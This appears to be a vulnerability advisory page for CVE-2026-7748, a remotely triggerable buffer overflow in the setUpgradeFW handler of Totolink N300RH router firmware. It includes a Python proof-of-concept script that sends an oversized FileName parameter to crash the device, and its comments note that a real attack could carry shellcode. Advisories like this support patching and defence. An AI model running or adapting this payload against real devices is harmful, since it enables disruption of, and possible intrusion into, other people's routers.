Security Vulnerability Report
中文
CVE-2026-7748 CVSS 8.8 HIGH

CVE-2026-7748

Published: 2026-05-04 10:16:01
Last Modified: 2026-05-04 15:17:59

Description

A weakness has been identified in Totolink N300RH 3.2.4-B20220812. Affected by this issue is the function setUpgradeFW of the file /cgi-bin/cstecgi.cgi of the component POST Request Handler. Executing a manipulation of the argument FileName can lead to buffer overflow. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink N300RH 3.2.4-B20220812

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_ip): """ PoC for CVE-2026-7748 Buffer Overflow in Totolink N300RH Target: /cgi-bin/cstecgi.cgi -> setUpgradeFW """ url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; ExploitBot/1.0)" } # Payload构造:发送超长FileName参数触发溢出 # 实际攻击中此处可能包含Shellcode或返回地址跳转 overflow_payload = "A" * 1000 data = { "action": "setUpgradeFW", "FileName": overflow_payload } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, headers=headers, data=data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check device for crash or shell.") else: print(f"[-] Unexpected response code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") # Crash often leads to connection drop, which is expected print("[!] Device may have crashed due to buffer overflow.") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)

References

Raw JSON Data

JSON
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